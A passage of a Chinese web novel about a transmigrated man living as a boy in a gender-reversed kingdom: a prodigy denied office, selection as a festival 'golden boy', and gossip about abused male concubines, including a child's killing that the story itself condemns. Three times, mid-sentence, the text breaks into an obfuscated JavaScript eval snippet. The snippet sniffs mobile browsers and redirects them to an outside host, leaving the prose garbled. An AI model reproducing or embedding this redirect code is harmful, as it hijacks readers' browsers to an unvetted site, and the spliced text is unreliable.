身为蔺家唯一能传宗接代的女儿,蔺曦平时爱在三个哥哥面前摆谱,话里话外看不上他们是头发长见识短的闺阁男子。 尽管如此,但她和他们终究是骨肉相连的手足,蔺明之死她也非常难过。 “曦儿别怕,你大哥以死殉节,贞烈可风,是人人景仰敬重的贞男。你应该要为他感到骄傲才对,没什么可害怕的,知道吗?” “娘,虽然道理是这个道理,但大哥死得太可怜了!其实他选择给樊二娘守望门寡也不失为美谈一桩,为什么非得以死相殉呢?” “曦儿,明郎以死殉了樊二娘更是美谈一桩啊,还赢得身后哀荣无数。官府大力褒扬他贞烈,又赐了牌匾,又给了咱家田租赋税的优待,昀郎和招妹也因为他能一个嫁去万安胡氏,一个嫁去詹县尉家。结了这两门好亲事,对你日后走仕途大有好处呢!” “可是我没有通过童子科的考试啊!如果大哥还活着,我肯定没问题。” “世事没有十全十美,你大哥死得其所,光耀了蔺家的门楣。虽然曦儿你这次没考中,可你才九岁呢,咱们来日方长,一定能中的啊!” 11. 观音会 这年秋闱的童子科,京城出了一个神童。 神童名叫吴胜女,是一个九岁的男童,母亲吴端凝是国子监的一位讲书。因为童子科没有规定男性不能参加,所以他申报考试时没有遭到阻挠。 吴胜女在中书后省参加考试时,背诵了四十三本经书且无一错误,让在场所有考官都惊叹不已。 如果他是女子,肯定会被直接授予官职,可惜他偏偏是个男子。 作为坤乾国第一个参加科举的男性,吴胜女虽然人如其名,碾压式胜出超过了其他所有女童考生,但是朝中大臣都一致反对授予他官职。 “吴胜女毕竟是男子,男子读书学而无用,因为他们的天职就是在家相妻教子,出来抛头露面实在有伤风化。” “是啊,男子无才便是德,历朝历代都从未有过男子做官的先例,吴胜女也不能破例。” “陛下,虽然吴胜女在童子科夺魁,但他的男子身份无法做官,不如就授予他一个进士出身以示嘉奖。” 皇帝采纳了朝臣们的建议,下诏授予吴胜女进士出身。 他成了坤乾国有史以来的第一个男进士,虽然没有资格做官,却也是一份无上殊荣。 . 神童吴胜女的光荣事迹传到阳县后,蔺昭很是替他惋惜:要是搁现代,这样的天才少年一定能进中科大的神童班,只可惜生不逢时啊! 蔺昀则非常羡慕,“咱们连学堂都上不了,这个吴胜女却能读书识字,有个当国子监讲书的娘真好啊!” 国子监讲书就相当于现代的大学讲师。 吴端凝不但是一个知识分子,而且还不拘泥于世俗成见教儿子念书。这种有着能超越当下时代思想桎梏的开明母亲,让蔺昭也十分羡慕。 “是啊,吴讲书不但有文化,还认定自己的儿子天资不比女子差,愿意悉心培养他。在坤乾国这实在太难得了,毕竟绝大多数男子连受教育的权利都没有。” “三弟,其实你读书也很有天分呢!当初贺阿翁教咱们识字的时候,你学得又快又好,他都夸你聪慧过人。” 蔺昭暗中惭愧:我那不是天分,而是我本来就是上过学读过书的人。 现代的欧阳斌虽然是大学生一枚,可是来到古代却相当于半个文盲。首先很多繁体字他都看不懂,更别提吟诗作赋了。只是贺阿翁教识字时,能比两个毫无基础的哥哥学得快一点。 . 兄弟俩在屋里交谈时,梁宽正好从窗外经过,听到他们的对话内容,立即进屋喝止。 “昀郎,招妹,你们两个方才说的什么话?羡慕吴胜女的娘好,言外之意就是你们的娘不好喽?这要是被她听见了仔细你们的皮。” 蔺昀分辩道:“爹,我们只是羡慕吴讲书能让儿子读书,所以才随口一说的,绝对没有对娘不满的意思。” 蔺昭打心底觉得,没有性别歧视的吴端凝就是要比蔺东玉强多了。但这种想法绝对不敢说出口给自己找麻烦,还得态度乖巧地虚心认错。 “爹,我们错了,以后再也不会说这种话了。” “招妹,你知错就好。赶紧回房梳洗一下,换身新衣裳随为父出门。” 蔺昭听得精神一振,今天是什么好日子啊?他居然可以出门。上一回他能走出家门还是正月十五的元宵节,一家人倾巢出动去看花灯。 当时按照蔺东玉的要求,蔺家三兄弟都要披上斗篷、戴上幕离——也就是笠帽配上长及脚踝遮蔽全身的纱。 总之就是要把头脸和身材全部遮挡起来,严实程度跟黑纱黑袍裹身的阿拉伯妇女有一拼。 坤乾国的普通百姓一般不会这么讲究,只有富贵人家为了表示有家教,不允许家中男眷随便抛头露面。 尤其是未出阁的儿郎,必须恪守大门不出二门不迈的规矩。这一套都被蔺东玉都照搬照学了。 蔺昀一听急了,“爹,您只带三弟出门吗?那我呢?” “对呀爹,为什么您只带我出门,二哥不能一起去吗?” “九月十九是观音佛诞日,观音庙将举办观音会,按惯例要选拔一对金童玉女侍立于观音像旁。以往咱们家没有参选的资格,但是今年有了。招妹你的年龄正好合适,所以我带你去观音庙参选。” . 阳县每年一度的观音会,重头就是把观音菩萨的神像从庙里抬出来,在县城的主要街道游神,寓意净土驱邪、保境平安。所到之处,人人跪拜祈福。 观音神像两侧侍立的金童玉女,每年都会从阳县十岁以上、十二岁以下的少男少女中选拔。 选择标准除了看脸以外,还有一个硬性条件,必须出身于家世清白、家风清正的人家才行。 而历代都是读书人的书香门第,最符合这一筛选标准。 以往蔺家一介商贾压根就没有这个资格,但现在有着蔺贞男这块金字招牌就大不一样了。 观音庙的主持圆和大师亲自修书一封,邀请年纪相当的蔺家三郎拨冗前来参加金童选拔。 蔺昀眼巴巴地看着梁宽问:“爹,我能不能也跟去看一看热闹啊?” 蔺昭帮腔道:“是啊爹,二哥也好久没有出过门了,咱们又是去的观音庙, 不是什么乱七八糟的地方,要不您就带上他一起吧?” 梁宽不假思索地就摇头。 “不行,昀郎不但是未嫁儿郎,眼下还订了亲,越发不能随便出门抛头露面。要是被万安胡氏那边知道了,会觉得咱们家教不严。昀郎,你就老老实实地在家里呆着吧!” “爹……” 蔺昀还想争取一下,却被梁宽不由分说地打断了。 “别说了,哪怕你再说上一箩筐的话,我也不会带你出门的。被你娘知道了,我都要跟着吃挂落。还有你这爱热闹的性子不够贞静,须得好好再磨上一磨才行。我们走后你在家抄上一卷《男训》,等我回来了要检查。” 蔺昀一张脸顿时皱成了苦瓜,蔺昭也不胜同情地看着他。 这也太惨了,二哥不但不能跟着一起出门逛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353502|183595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还得呆在家里抄书,真是太惨了! . 蔺昭这一趟出门,着装标准和元宵节差不多。只是厚重的斗篷穿不了,但仍然要戴幕离,除此外脸上还要覆一层面纱。 总之就是必须裹得严严实实,不能随便被人看见他的相貌和身材,否则就是行为不庄重不自重、有意卖弄风骚。 蔺昭超级无语:去你大爷的,穿得凉快一点怎么成了卖弄风骚,其实是心脏的人看什么都脏吧? 冬天裹得这么严实也就算了,毕竟还挺暖和。 可这天却是秋老虎逞威的日子,蔺昭恨不能光膀子才好,却不得不穿得严严实实。要不是大半年才能出一次门机会难得,他都不想去了。 梁宽带着蔺昭来到观音庙后,被人领去了后院的一处客堂。 这里就是选拔金童的地方,已经有十几个当家主夫模样的男子,领着自家儿郎在此等候。 “蔺老爷,请您和令郎先坐下喝杯茶,主持一会儿就到。” “好的,多谢。” 梁宽带着蔺昭落座后,邻座一位斯斯文文的蓝袍男子微笑着跟他攀谈起来。 “您是蔺老爷,如果我没有猜错的话,应该就是蔺贞男的爹吧?” “正是,在下蔺梁氏,明郎是我的长子。不知阁下是?” “我家家主是阳县教谕季学礼,我是她的夫郎。” 阳县教谕这个官职相当于教育局长,蓝袍男子原来是局长家的当家主夫。也是嫁进书香门第的男人,难怪可以带着儿子来参加金童选拔。 “见过季老爷。” “蔺老爷不必多礼,诸位老爷,这位就是蔺贞男的爹,大家过来认识一下吧。” 听说梁宽就是蔺贞男的爹,满屋子的各位老爷都纷纷走过来,围着他七嘴八舌地表达敬意。 “原来是蔺老爷啊,真是久仰大名。” “你家蔺贞男真是了不起,为未婚妻殉情死节,实在太让人钦佩了。” “蔺夫人和蔺老爷真是教子有方,我们都想登门请教一二。” 这些待选儿郎的爹都是书香门第的老爷们,以往是绝对不会屈尊和一身铜臭的商贾人家交谈的。 但今非昔比,如今梁宽却成了他们愿意打交道的对象。 . 梁宽受宠若惊地跟诸人客套一番后,季老爷又扭头看向他身侧裹得严严实实的蔺昭。 “这位是你家三郎吧?这屋里都是男子,快把披风幕离都摘了吧,天怪热的别闷坏了。” 蔺昭求之不得,他早就捂出了一身汗,已经热得快要中暑了,恨不得三下两下就把披风和幕离都扯下来扔到一旁。 但是“名门淑男培训班”的学习经验告诉他,他还得继续端着淑男的架子行事,不能那么不矜持地说摘就摘。 “爹,我可以吗?” 蔺昭先轻声细语地征求梁宽的同意,等到他点头首肯后,才姿态优雅地动手摘下幕离,脱去披风,再解下覆面的轻纱。这下好了,凉快多了。 12. 选秀 屋里所有人的视线都落在蔺昭身上,季老爷不自由自地“呀”了一声,含笑道:“蔺老爷,你家三郎真如粉雕玉琢的一般。” “是啊,好个俊俏的小郎君,真真是玉人儿似的。” “让我瞧瞧,还真是呢,这小脸蛋白得像搽了二两粉。” “才不是呢,你看他这满头大汗,要搽了粉汗水一泡早脱妆了,可人家还是白白净净的。” 蔺昭从小就皮肤白,再被蔺东玉整天拘在家里养成大门不出、二门不迈的淑男,皮肤捂得越发白净了。 客堂里待选的儿郎们虽然也都皮肤白净,但跟蔺昭一比却都不如他肤色皎洁,洁白莹润得如同上等的羊脂美玉。 有道是一白遮百丑,何况蔺昭还长得十分标致。 粉雕玉琢的肌肤,搭配眉目如画的容貌,一露面就把客堂里的所有儿郎都比下去了。 季老爷不无意外地一扬眉:没想到蔺家这个三郎竟生得如此标致,他这模样来选金童,必然是十拿九稳了。 一刻钟后,观音庙的主持圆和大师来了。她是一位年过半百的比丘尼,虽然是女性,但出家人身份特殊,在场男子无需遮嫌。 金童玉女的选拔,除了要家世清白、容貌标致外,还需要仪态端庄,声音清朗。 因为抬着观音菩萨像游神的过程中,金童玉女需要时不时地开口朗诵《大悲咒》。 按照先来后到的顺序,待选儿郎们轮流上前接受圆和大师的选拔。 她打量着他们的容貌,观察着他们的言行举止,再随口念出几句咒文让他们大声复诵,看是否声音清亮,口齿清晰。 蔺昭是金童选拔赛的最后一名选手,他铆足了劲表现自己。 如果选不上金童,他下次出门可能又要等到明年正月。而且观音会这么举城欢庆的热闹场面,他又怎么愿意错过机会呢? “名门淑男培训班”上学到的本领,蔺昭这回算是派上了用场。 他的一言一行一举一动,都是十足十的淑男作派。当众朗诵咒文时,声音悦耳动听得像唱歌一样。 圆和大师对于蔺昭的表现非常满意,当场就拍板定下了他。 “蔺老爷,佛诞日那天就由你家三郎担任金童了。” 梁宽大喜过望:“多谢大师。” “另外还有一个备选的名额,季老爷,就定下你家五郎吧。” 季学礼共有三女二子,季老爷此番带来参选的是家中最小偏怜的儿子季纶,今年也是十一岁,相貌生得很是清俊。 金童玉女的人选虽然只需要一对,但是以防万一,还会多挑一对少男少女作为备选。 如果佛诞日那天蔺昭因为什么意外来不了,就会由季纶顶上。 . 其他落选者自行归家,两名入选者则被领进后堂,由一位年长的比丘尼教他们诵读《大悲咒》。 这篇咒文一共有八十四句,非常晦涩与拗口,蔺昭跟着鹦鹉学舌地念,舌头差点没打结,季纶却念得非常流利。 这次来参加金童选拔,季纶原本是志在必得,早就已经在家把《大悲咒》背熟了。 没想到半路杀出个程咬金,被蔺昭截了胡,让他十分恼火。 比丘尼教二人读了几遍《大悲咒》后,就让他们自己捧着咒文反复默读。自己走到屋子另一侧,在一尊小佛像前跪下来敲着木鱼诵经。 蔺昭不知就里,还想跟季纶这个同龄人交朋友,小声跟他攀谈道:“季五郎,你的《大悲咒》读得好流利啊!” “那是,我早就已经把它背熟了。不但背得滚瓜烂熟,我还能抄写这篇咒文。我们这样的书香门第,跟你们那种商贾人家可是不一样的。” 季纶满脸不屑的神色,连眼角余光都不肯施舍给蔺昭一个。 “我们商贾人家虽然比不上你们书香门第,可我却是圆和大师选中的金童第一人选,而你不过是备选罢了。” 试图交朋友却惨遭鄙视的蔺昭,老实不客气地反击季纶,一番话正好戳中他的肺管子,气得他双眉倒竖。 “神气什么?你们蔺家还不是仗着你那个贞男哥哥才得势嘛!对了,你跟詹县尉家的三娘定了亲是吧?听说她得的可是痨病,天知道还能再活几年。搞不好到时候你也要跟你大哥一样倒霉,还没出嫁就没了媳妇,也要做贞男了。” 季纶气恼之下音量不受控制地拔高了,被一旁敲木鱼诵经的比丘尼听见了,神色一肃。 “季五郎慎言,做贞男有何不妥?男子以妻为天,以贞为命。蔺贞男的贞烈之举得到了朝廷旌表,整个阳县人人称颂。怎么在季五郎嘴里,做贞男却成了倒霉的事?你这种离经叛道的想法是从何而来?” 蔺昭暗想:本来就是很倒霉呀!我要是有得选,才不想当这个倒霉透顶的贞男呢! 季纶自知失言,神色惶恐地赶紧认错:“法师恕罪,小生一时逞口舌之快,并非本意,以后再也不敢了。” “是啊法师,季五郎不过是同我拌嘴一时失言,我相信他并没有对我大哥不敬的意思。” 季纶没想到蔺昭居然会帮自己说话,脸上流露出意外的神色。 他不知道,蔺昭打心底烦透了男子应视贞节重于生命这一套,所以不想让他再因此挨训。 “也罢,季五郎,以后说话要三思,不该说的可别再乱说了。” “是,小生多谢法师教诲。” 一场小风波就此平息,比丘尼继续敲木鱼诵经,两个儿郎继续默读《大悲咒》。 毕竟只是十岁出头的孩子,城府不深,心机不重。见蔺昭刚才没有落井下石,季纶倒是有些过意不去,又压低声音对他道歉。 “对不住啊蔺三郎,刚才我说了很失礼的话,现在真心向你道歉,请勿见怪。” “没事,都过去了,咱们这也算是不打不相识。” “《大悲咒》读起来很拗口,不过我有决窍,我教你呀!” “真的吗?太好了,谢谢你啊!” 季纶这种直统统的性子有一大好处,他讨厌谁会直接给对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353503|183595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方脸色看,喜欢谁也会同样热情洋溢地表现出来。 . 跟着季纶在后堂呆了半天,蔺昭不但在他不厌其烦的指点下把《大悲咒》念熟了,还打听到了詹蕙的一些情况。 詹县尉与季教谕同在阳县为官,平时没少打交道,两家亲眷常有走动,季纶也对詹家的事也就有所耳闻。 “詹三娘的身体从小就不好,詹家只说她是体弱多病,但情况应该没那么简单。听说她经常咳嗽,身子很虚,需要长期在家卧床休息。所以,我就猜测她该不会得了痨病这个富贵病吧?当然具体是不是我也不清楚。” 蔺昭苦笑道:“我觉得你的猜测很有道理,恐怕十有八九就是这个病了。” 古代医学不发达,痨病就等于绝症。詹蕙的体弱多病要真是这个原因,那蔺昭守寡就是迟早的事。 同为男性,季纶知道守寡对任何男人来说都是一桩苦差事,不胜同情地看了蔺昭一眼。 “我猜的也不一定对了,也许不是呢。你也别太放在心上,没准哪天詹家就请到名医把詹三娘治好了。” 蔺昭觉得这种可能性基本为零,毕竟坤乾国没有现代医学的抗生素,痨病就不可能被治好。 如果注定要守寡,他只求詹蕙能死在成亲前,让他可以守上一个性价比最高的寡。 自己的处境反正就那样了,蔺昭都懒得再去多想,好奇地问起季纶的个人情况。 “季五郎,你订亲了吗?” “还没呢,我娘打算再过几年送我进宫选秀。” 蔺昭始料未及地一呆:“选秀?” “对呀,朝廷每三年选一次秀男,为皇帝充实后宫,十五到二十岁的良家子都可以参选。” 蔺昭苦笑了一下,好嘛,男人当皇帝要选秀女,女人当皇帝也要选秀男,总之谁大权在握都不会放弃自己纵情声色的权利。 “那……你想去选这个秀吗?” “既然是娘的安排,我就只能照做。男子的三从四德第一条就是在家从母,我怎么能够违逆娘的意思呢?” 季纶的回答中满是天经地义,蔺昭叹口气又问:“如果你娘不做这种安排,你自己想去选秀吗?” “我不知道。一直以来都是由娘安排我的一切,我只要照做就行了,从没想过自己要做什么。” 看着满脸茫然神色的季纶,蔺昭了然道:“不用说,你今天来观音庙,也是遵从你娘的安排了。” “是啊,娘说这也是一场选拔,且看我能否拔得头筹。我本来做足了准备,连《大悲咒》都提前背好了,原以为能压倒所有人胜出,没想到却半路上杀出你这么一个程咬金,让我只得了一个备选的名额。” “难怪你刚才看我不顺眼呢,原来是这么回事。不好意思季五郎,我也不是故意的。不,实话跟你说吧,我就是故意的。因为选不上金童的话,我就没机会出门看观音会这场如此盛大的热闹。你知道我上回出门是什么时候吗?还是正月十五闹元宵那天,一家人出去看花灯。” 13. 贱侍 季纶出乎意料地“啊”了一声。 “不是吧?平头百姓也管儿子管得这么严吗?我们家虽然不准儿郎随便出门,但是三月三那天我跟着姐姐出门踏了青,五月初五也随娘去江边看了龙舟赛。” “那你们家比我们家强,至少你比我多出了两次门,真是羡慕嫉妒恨啊!” “想不到蔺夫人管儿子管得如此严格,难怪可以教出你大哥那样贞烈可风的贞男。” 蔺昭有气无力地摆了一下手,示意季纶别提这件事。 蔺明那么温和良善的一个少年,就那样被万恶的贞洁观念残害而死,一提起来他就难受得要命:去你大爷的贞烈可风,这根本就是吃人、吃人、吃人! “对不住,我不该提这件伤心事的。唉,你大哥也真是命苦啊!如果有来生,但愿他能投个女儿胎,可以随心所欲过一生。想读书就读书,想出门就出门,既能考科举走仕途做官,也能从军征战沙场建功立业。你说这样多好是吧?” 蔺昭沉默片刻后才重新开口。 “如果有一个地方,男人和女人不分尊卑、地位平等,都可以想读书就读书,想出门就出门,想从文从文想习武习武,由自己决定自己的一生该如何度过,而不是凭由他人安排摆布,你说这样是不是更好呢? “天底下怎么可能会有这样的地方?这不可能。” 季纶的第一反应就是摇头,不过摇完头后他又满眼艳羡道:“如果真有这种地方,那生活在那里的人可就太幸福了。” . 蔺昭在金童选拔赛上拔得头筹,蔺东玉得知这一喜讯后乐得眉开眼笑。当晚大家坐在一块吃晚饭时,她亲手给蔺昭夹了一个香喷喷的大鸡腿。 “招妹,你今天为蔺家长了脸,娘很是欣慰,这个鸡腿给你吃。” 鸡腿这东西蔺曦超级无敌爱吃,每次蔺家只要杀了鸡,蔺东玉都会把两只鸡腿都夹到女儿碗里,儿子们都没份的。 以前欧阳斌的父母也是如此,只要是儿子喜欢吃的东西,女儿们连尝都别想尝上一口,全部都要给他留着。 作为既得利益者,他也从没觉得父母这种偏心的做法有什么不对。 直到来到坤乾国变成了蔺昭,他才后知后觉地意识到:这是不对的,仅靠一个性别就吃尽红利是不对的。 今天破天荒地头一遭,蔺东玉分了一只鸡腿给蔺昭,蔺曦都有点不开心。 “娘,以往两只鸡腿都是我吃的。” “曦儿,你三哥通过了金童的选拔,下个月要在观音会上露脸。咱们商贾人家几曾何时哪有这样的体面啊!你作为未来家主是不是也觉得很荣耀呢?” 蔺曦不自觉地点了一下头,蔺东玉又接着循循善诱。 “所以,你说娘是不是应该给你三哥一个鸡腿作为奖励?要不,这个鸡腿算是你奖励你三哥的,好吗?” “好吧,三哥,你今天表现很好,我这个鸡腿就给你吃了。” “那多谢四妹了。” 蔺昭没有独自享用那个鸡腿,而是分了一半鸡腿肉给坐在身边的蔺昀。 “二哥,你也尝尝吧。” 蔺昀这个小吃货也没跟弟弟客气,低头就咬了一大口,眼睛立马惬意地眯成两条月牙线。 “嗯,这个鸡腿真好吃啊,肉质要更有弹性更细嫩。” 蔺东玉又叮嘱蔺昭道:“接下来你要把《大悲咒》背到滚瓜烂熟为止,可千万不能在观音会上忘了词,那样露脸就要变成丢脸了。” 蔺昭趁机提了一个要求。 “娘,这次选中的备选金童是季教谕家的五郎季纶。他说观音会之前,我可以去他们家和他一起背《大悲咒》,只要提前一天下帖子就行。” “哦,既然教谕家的小郎君开口邀请了你,那就肯定要去的,否则就是驳了人家的面子。头回登门可不能空手去,等我先准备好一份礼物,再让你爹亲自陪你去季家拜访。” 其实蔺东玉很想自己陪蔺昭去的,但是男眷之间的走动,她身为女子并不适合露面。只能由梁宽领着儿子登门造访,季老爷出面接待。 “多谢娘。” 顿了一下后,蔺昭又态度恭顺地道: “娘,去季家拜访的那天,要不让二哥也和我们一块去吧?二哥明春就要嫁进万安胡氏,到时身为当家主夫,也少不了要跟其他男眷们打交道。有机会总得让他先历练一下,您说呢?” 蔺昀正在羡慕蔺昭又有机会出门,突然听到他向蔺东玉建议带上自己,立马忙不迭地直点头。 “娘,儿子也想历练一下,请娘成全。” 蔺东玉觉得是这个道理,遂没有反对,还不无欣赏地看了蔺昭一眼。 “招妹的心思还挺细,居然想到了这一层。好,到时候就让昀郎和你们一块去。” . 几天后,梁宽带着蔺东玉准备好的一份厚礼,领着两个儿子上季家登门拜访。 季老爷在内院的正房接待他们一行人,有个十七八岁的少年侍立在他身后,长相颇为清秀,看衣饰不像仆人,却是一脸做小伏低的神色。 梁宽是过来人,只瞟一眼就能猜出对方的身份。 果然,季老爷似笑非笑地介绍道:“这位是我家家主新纳不久的夫侍邹郎,眼下正跟着我学规矩呢!” “原来是邹小爷。” 梁宽不咸不淡地打了一声招呼,纯属客气性质。 老爷和小爷虽然只有一字之差,身份却是天壤之别,正房嫡夫大都是看不上这种侧室庶夫的。 邹郎自知身份低微,对客人不敢有丝毫怠慢,态度恭敬地躬身行礼道:“见过蔺老爷。” 蔺昭还是头一回见到有夫侍这种属性的男子。 而从季老爷对邹郎的态度中,完全不难看出他不喜欢这个跟自己分享妻子的庶夫,估计明里暗里没少给他苦头吃。 他暗中叹了一口气:这也怪不了人家邹郎啊,如果有得选,他肯定也不愿意当这个夫侍的。 坤乾国有句俗话,叫作“宁做寒门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353504|183595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫,不做高门侍”。 做夫侍只比奴婢的地位稍微高一点,同样可以打骂可以发卖,还可以转赠他人,总之就是没有人权了! . 季纶被季老爷叫来正堂见客后,就领着蔺家兄弟二人去了自己屋里说话。 蔺昭跟季纶打听道:“那个邹小爷是怎么嫁进你们家来的?” “三个月前他在大街上卖身葬父,我娘见他可怜就给了一笔丧葬费。他料理完后事就来我家门口长跪不起,说是愿意为奴为婢伺候我娘一辈子。” 蔺昭:“……” 这是什么弱男子苦情戏的戏码啊! 蔺昀插了一句嘴,“既然是为奴为婢,那他怎么成小爷了呢?” “最初只是收留他在家当侍男,可是有天我娘喝醉酒回来是他服侍,结果却服侍到床上去了,后来就把他收了房。” “这个狐狸精是不是存心勾引你娘啊?” 蔺昀的第一反应让蔺昭无语扶额。 拜托,季夫人既是上位者,又对邹郎有恩。她如果想要他的身子,他有资格拒绝吗?还不是只能给她。如果他真想做夫侍,一开始就直接说想以身相许报恩好了,可人家说的明明是愿意为奴为婢伺候主人。 “我爹就是这么想的,他气坏了,说没想到这个邹郎虽然长得一点也不狐魅,勾引起女人来居然很有一手。虽然碍着贤夫的名声,爹不能拒绝娘纳邹郎为夫侍,却提了一个要求,不准他为季家孵育子嗣。” 男子以色侍人做庶夫,能不能蒙家主恩赐让他孵育后代,是至关重要的一件事。 如果能,那么以后就有一个孩子傍身,后半生也就有了指望;如果不能,那么只要年老色衰失了宠,就要孤苦伶仃地守着空房过一辈子。 蔺昭问道:“那你娘答应了吗?” “当然答应了,娘不可能会为了一个夫侍跟爹较劲。我爹出身名门,邹郎不过是个奴婢,能给我娘当夫侍已经福分不浅,不能再妄想更多了。我娘说了,孵育子嗣这么重要的事,身份低微的贱侍绝对不能委以重任。” . 被富贵人家纳为夫侍的男子,虽然有育子囊,但能不能派上用场就要看运气了。 因为妻子怀孕后产下的肉卵,按规矩要首选正房嫡夫来担任孵育后代的重任。 如果正房嫡夫由于种种原因无法身体力行的,那么庶夫中的贵侍和良侍会成为次一等的人选。 贵侍一般是正房嫡夫的随嫁兄弟,良侍则是出身清白的良家男子。这二者的地位比较高,不能随便打骂或发卖。 像邹郎这种由侍男收房的夫侍,是身份最低的贱侍。连上桌吃饭的资格都没有,一日三餐必须垂手侍立一旁,服侍老爷和其他地位更高的夫侍用膳。 只有在女主人格外宠爱的情况下,才有可能破例开恩让他孵育子嗣。 坤乾国以女子为尊,因为女子才能生育后代,而且在夫侍多的情况下都不知其父、只知其母,所以形成了牢不可破的母系氏族社会。 14. 何苦 当然,哪个夫侍孵化出来的孩子自然也就会跟他亲,如果孩子再由他养育成人感情就更加深厚。 要是孩子以后有了什么大出息,他的地位也能跟着水涨船高,甚至还有望封个诏命抬一抬身份。 季老爷要求季夫人绝了邹郎的孵育子嗣之路,是一招釜底抽薪。从根子上断绝了他在季家不会再有任何上升空间,晚景是可以预见的孤独凄凉。 蔺昭不以为然地暗中摇头:男人何苦为难男人啊!大家的处境都这么艰难了,就不能互相关照一下吗? 蔺昀却深以为然,“季老爷做得对,对付狐狸精就该这样。” “我爹说了,像邹郎这种出身的夫侍,充其量也就只能给我娘当个小玩意,不可能更多了,他没那个资格。” “以前我们家也出过这号狐狸精,被我爹看出苗头不对,就想法子把他赶走了。” 蔺昀的突然爆料让蔺昭都愣了一下,“还有这种事,我怎么不知道?” “你那时候还没出生呢,自然不知道了。” 季纶很有兴趣地问道:“哦,具体是怎么回事?蔺二郎你说来听听。” “那时候我还小,具体情况记不清楚,就记得爹跟大哥说家里那个侍男很是不妥,有事没事就爱往我娘跟前凑,各种献媚讨好。后来爹是怎么设计把他赶走的不知道,总之那天娘十分火大,先把他狠狠打了一顿板子,然后再喊人牙子来把人拖走卖掉了。” 蔺昭都没想到梁宽还有这种“看家护院”的本领,难怪蔺东玉这么多年都没有纳一个夫侍,他把坚壁清野的工作做得太好了! 季纶赞叹道:“那蔺老爷很厉害呢,不动声色间就打发掉了一个狐狸精。” “是啊,我爹这方面还是很有一手的,所以我们家都没有小爷。” “你们家没有小爷也就罢了,毕竟三夫四侍也不是什么人家都能养得起的。据说京城的工部侍郎卢大人府上也没有小爷,你们可知道为什么?” . 季纶有所触动地想起了京城曾经出过的一桩大新闻,兴致勃勃地想要告诉蔺家兄弟俩。 蔺昀道:“官宦人家大都是三夫四侍,这位卢大人怎么会例外呢?难道是他惧内?” “卢大人才不惧内呢!其实她以前纳了不少夫侍,其中一位年轻貌美的英郎特别受她宠爱,为此冷落了自己的结发丈夫。卢老爷心里苦啊,就对八岁的长女卢璘吐了一番苦水,结果你们猜怎么着?” 蔺昭摇头:“猜不出来,你别卖关子,快说吧。” “卢璘拎上一把铁锤,趁那名夫侍英郎躺在床上睡觉的时候,直接把他的头锤扁了。” 蔺昀惊得双目圆瞪,蔺昭则吓得浑身一哆嗦,难以置信地问:“什么?这个卢璘才八岁,就把那个英郎爆了头?真的假的?” 季纶一边点头一边强调道: “真的,这可是十年前京城里轰动一时的大事。当时卢老爷怕卢大人责罚女儿,就想让卢璘声称自己是玩游戏时不小心误杀了英郎。结果她直截了当地对卢大人说:你一个朝廷命官怎么能厚待夫侍而薄待夫君呢?我实在看不过去所以动手杀了这贱人,才不是什么游戏失手。” 蔺昭追问道:“那后来呢?卢璘杀了人是怎么处置的?” “有什么可处置的,英郎不过就是一个夫侍,地位相当半奴。卢璘身为未来家主,将其打杀了也就打杀了,卢大人还夸她呢:不愧是我的女儿,虎母无犬女。” 蔺昭感觉自己的三观已经粉碎性骨折。 一个八岁的孩子拎着铁锤爆头杀人,不但不用受到任何惩罚,相反还能得到夸奖。这是什么世道啊?做夫侍的也太没人权了吧? 就连蔺昀都心生同情,轻声道:“就算那名夫侍英郎真是什么狐狸精,存心勾引卢大人,把人撵出去不就行了,为什么一定要杀他呢?好可怜啊!” “这也是他的命,谁让他运气不好给卢大人当了夫侍,又遇上一位如此狂妄强悍的少主,结果受个宠搞得自己没了命。卢璘锤杀英郎后,卢府其余夫侍一时间人人自危,都不敢再服侍卢大人,纷纷自请离府出家修行,卢老爷趁机把他们全部打发掉了。从那以后卢大人也再没纳过夫侍,就守着卢老爷过日子,成就了一对恩爱妇夫的佳话。” 蔺昭无语:佳话?就这?拜托,有没有人想过,这段所谓佳话的底色可是一条血淋淋的人命啊! 听完这段真人真事后,蔺昀总结出一个重点。 “做夫侍真是太惨了!男子一定要明媒正娶地出嫁当正房老爷,绝对不能给人当夫侍。” 蔺昭也不得不承认这点:在坤乾国做男人难,做地位卑微的男妾更难。 夫侍一点人权都没有,说打死就打死了!相比之下,做正牌老公虽然成为鳏夫后有守寡的义务,可好歹还能活着,不会被人随便杀了。 . 三个少年正闲谈着,外面忽然有人掀开门帘走进屋,一边走一边熟不拘礼地朗声笑道:“五弟,快看姐姐给你带了什么好吃的回来。” 